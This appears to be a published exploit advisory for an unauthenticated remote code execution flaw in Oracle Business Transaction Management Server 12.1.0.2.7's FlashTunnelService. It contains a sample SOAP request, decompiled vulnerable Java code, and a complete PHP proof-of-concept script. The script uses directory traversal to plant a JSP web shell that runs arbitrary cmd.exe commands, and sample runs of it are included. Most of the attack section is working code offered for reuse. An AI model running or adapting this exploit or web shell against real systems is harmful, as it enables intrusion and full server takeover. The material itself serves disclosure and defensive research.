Oracle BTM Server 12.1.0.2.7 Remote Code Execution

`Oracle Business Transaction Management Server 12.1.0.2.7 FlashTunnelService   
WriteToFile Message Remote Code Execution Exploit  
  
tested against: Microsoft Windows Server 2003 r2 sp2  
Oracle WebLogic Server 12c (12.1.1)  
Oracle Business Transaction Management Server 12.1.0.2.7 (Production version)  
  
files tested:   
oepe-indigo-installer-12.1.1.0.1.201203120349-12.1.1-win32.exe (weblogic)  
download url: http://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html   
  
BTM_Servers_12.1.0.2.7.zip (BTM, production version)   
download url: http://www.oracle.com/technetwork/oem/downloads/btw-downloads-207704.html  
  
  
vulnerability:  
the mentioned product installs a web service   
called "FlashTunnelService" which can be reached  
without prior authentication and processes incoming  
SOAP requests.  
  
It can be reached at the following uri:  
http://[host]:7001/btmui/soa/flash_svc/  
  
This soap interface exposes the writeToFile function  
which could allow to write arbitrary files on the target  
server.  
  
Example packet:  
  
POST /btmui/soa/flash_svc/ HTTP/1.1  
Accept-Encoding: gzip,deflate  
Content-Type: text/xml;charset=UTF-8  
SOAPAction: "http://soa.amberpoint.com/writeToFile"  
User-Agent: Jakarta Commons-HttpClient/3.1  
Host: 192.168.0.1:7001  
Content-Length: [length]  
  
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:int="http://schemas.amberpoint.com/flashtunnel/interfaces" xmlns:typ="http://schemas.amberpoint.com/flashtunnel/types">  
<soapenv:Header/>  
<soapenv:Body>  
<int:writeToFileRequest>  
<int:writeToFile handle="..\..\..\..\..\..\..\..\[path]\somefile.jsp">  
<!--Zero or more repetitions:-->  
<typ:text>[code]</typ:text>  
<!--Optional:-->  
<typ:WriteToFileRequestVersion>  
<!--You may enter ANY elements at this point-->  
</typ:WriteToFileRequestVersion>  
</int:writeToFile>  
</int:writeToFileRequest>  
</soapenv:Body>  
</soapenv:Envelope>  
  
the 'handle' property can be used to control the location  
of the newly written file (it suffers of a directory traversal ulnerability).  
File extension can also be controlled.  
File content can be controlled through the 'text' element (note that one  
must convert the code to html entities firstly, the soap interface  
will reconvert it to his original format).  
  
Given this, a remote attacker, could place an arbitrary jsp script  
inside the main web server root path, then execute arbitrary code  
with the privileges of the weblogic installation, usually Administrator  
privileges).  
  
vulnerable code, see the decompiled com.amberpoint.flashtunnel.impl.FlashTunnelServiceImpl.class  
  
...  
public IWriteToFileResponse writeToFile(IWriteToFileRequest request)  
throws SOAPFaultException  
{  
WriteToFileResponse wtfr = new WriteToFileResponse();  
String handle = request.getHandle();  
TypedList text = request.getText();  
if(text != null && text.size() > 0)  
{  
File f = getFileFromHandle(handle);  
if(f != null)  
try  
{  
FileOutputStream fos = new FileOutputStream(f);  
OutputStreamWriter osw = new OutputStreamWriter(fos, "UTF-8");  
int i = 0;  
for(int ii = text.size(); i < ii; i++)  
{  
String s = (String)text.get(i);  
osw.write(s);  
osw.write("\n");  
}  
  
osw.close();  
}  
catch(IOException ex)  
{  
logger.log(Level.SEVERE, (new StringBuilder()).append("IOException writing '").append(f.toString()).append("': ").append(ex.getMessage()).toString());  
}  
}  
return wtfr;  
}  
...  
  
As attachment, proof of concept code written in php, launch from the command line, modify for your own use.  
  
  
  
  
PROOF OF CONCEPT:  
  
  
  
<?php  
/*  
Oracle Business Transaction Management Server 12.1.0.2.7 FlashTunnelService   
WriteToFile Message Remote Code Execution Exploit  
  
tested against: Microsoft Windows Server 2003 r2 sp2  
Oracle WebLogic Server 12c (12.1.1)  
Oracle Business Transaction Management Server 12.1.0.2.7 (Production version)  
  
Example:  
C:\php>php 9sg_ora.php 192.168.2.101 ver  
[*] Attacking...  
HTTP/1.1 200 OK  
Date: Mon, 09 Jul 2012 08:53:11 GMT  
Accept-Ranges: bytes  
Content-Length: 40  
Content-Type: text/plain  
Last-Modified: Mon, 09 Jul 2012 08:53:09 GMT  
X-Powered-By: Servlet/3.0 JSP/2.2  
  
  
Microsoft Windows [Version 5.2.3790]  
  
  
C:\php>php 9sg_ora.php 192.168.2.101 "start calc"  
  
  
rgod  
*/  
error_reporting(E_ALL ^ E_NOTICE);   
set_time_limit(0);  
  
$err[0] = "[!] This script is intended to be launched from the cli!";  
$err[1] = "[!] You need the curl extesion loaded!";  
  
if (php_sapi_name() <> "cli") {  
die($err[0]);  
}  
  
function syntax() {  
print("usage: php 9sg_ora.php [ip_address] [cmd]\r\n" );  
die();  
}  
  
$argv[2] ? print("[*] Attacking...\n") :  
syntax();  
  
if (!extension_loaded('curl')) {  
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :  
false;  
if ($win) {  
!dl("php_curl.dll") ? die($err[1]) :  
print("[*] curl loaded\n");  
} else {  
!dl("php_curl.so") ? die($err[1]) :  
print("[*] curl loaded\n");  
}  
}  
  
function _s($url, $is_post, $ck, $request) {  
global $_use_proxy, $proxy_host, $proxy_port;  
$ch = curl_init();  
curl_setopt($ch, CURLOPT_URL, $url);  
if ($is_post == 1) {  
curl_setopt($ch, CURLOPT_POST, 1);  
curl_setopt($ch, CURLOPT_POSTFIELDS, $request);  
}  
if ($is_post == 2) {  
curl_setopt($ch, CURLOPT_PUT, 1);   
curl_setopt($ch, CURLOPT_POSTFIELDS, $request);  
}  
  
curl_setopt($ch, CURLOPT_HEADER, 1);  
curl_setopt($ch, CURLOPT_HTTPHEADER, array(  
"Content-Type: text/xml;charset=UTF-8",  
"SOAPAction: \"http://soa.amberpoint.com/writeToFile\"",  
  
  
));   
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
curl_setopt($ch, CURLOPT_USERAGENT, "Jakarta Commons-HttpClient/3.1");  
//curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  
//curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);  
curl_setopt($ch, CURLOPT_TIMEOUT, 0);  
  
if ($_use_proxy) {  
curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);  
}  
$_d = curl_exec($ch);  
if (curl_errno($ch)) {  
//die("[!] ".curl_error($ch)."\n");  
} else {  
curl_close($ch);  
}  
return $_d;  
}  
$host = $argv[1];  
$port = 7001;  
$cmd = $argv[2];  
  
  
  
  
$code='<%@ page import="java.util.*,java.io.*" %>  
<%  
String cmd = request.getParameter("cmd");  
String outstr = "";  
try {  
Runtime rt = Runtime.getRuntime();  
Process p = rt.exec(cmd);  
try {  
InputStreamReader ise = new InputStreamReader(p.getErrorStream());  
BufferedReader bre = new BufferedReader(ise);  
InputStreamReader iso = new InputStreamReader(p.getInputStream());  
BufferedReader bro = new BufferedReader(iso);  
String line=null;  
while ( (line = bre.readLine()) != null ) {  
System.out.println( line );  
}  
while ( (line = bro.readLine()) != null ) {  
System.out.println(line );  
}  
  
} catch (IOException ioe)  
{  
ioe.printStackTrace();   
}  
}  
catch (Throwable t) {  
t.printStackTrace();  
}  
  
%>  
';  
$code=htmlentities($code); //convert all to html entities, then no bad chars  
  
//we should write to:  
//C:\Oracle\Middleware\wlserver_12.1\samples\server\examples\build\mainWebApp\WEB-INF\classes\mainWebApp#\suntzu.jsp  
//C:\Oracle\Middleware\wlserver_12.1\samples\server\examples\build\mainWebApp\suntzu.jsp  
//change to a location of choice  
  
$path=array('\server\examples\build\mainWebApp',  
'\server\examples\build\mainWebApp\WEB-INF\classes\mainWebApp#');  
  
  
for ($i=0; $i<count($path); $i++){  
$soap='<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:int="http://schemas.amberpoint.com/flashtunnel/interfaces" xmlns:typ="http://schemas.amberpoint.com/flashtunnel/types">  
<soapenv:Header/>  
<soapenv:Body>  
<int:writeToFileRequest>  
<int:writeToFile handle="..\..\..\..\..\..\..\..\..\..'.$path[$i].'\suntzu.jsp">  
<typ:text>'.$code.'</typ:text>  
<typ:WriteToFileRequestVersion>  
</typ:WriteToFileRequestVersion>  
</int:writeToFile>  
</int:writeToFileRequest>  
</soapenv:Body>  
</soapenv:Envelope>';  
  
$url = "http://$host:$port/btmui/soa/flash_svc/";  
$out = _s($url, 1, "", $soap);  
//print($out."\n");  
sleep(1);  
}  
  
$cmd="cmd.exe /c ".$cmd." > ../../server/examples/build/mainWebApp/sh.txt";  
$url = "http://$host:$port/suntzu.jsp?cmd=".urlencode($cmd);  
$out = _s($url, 0, "", "");  
//print($out."\n");  
  
sleep(2);  
  
$url = "http://$host:$port/sh.txt";  
$out = _s($url, 0, "", "");  
print($out."\n");  
?>  
  
  
`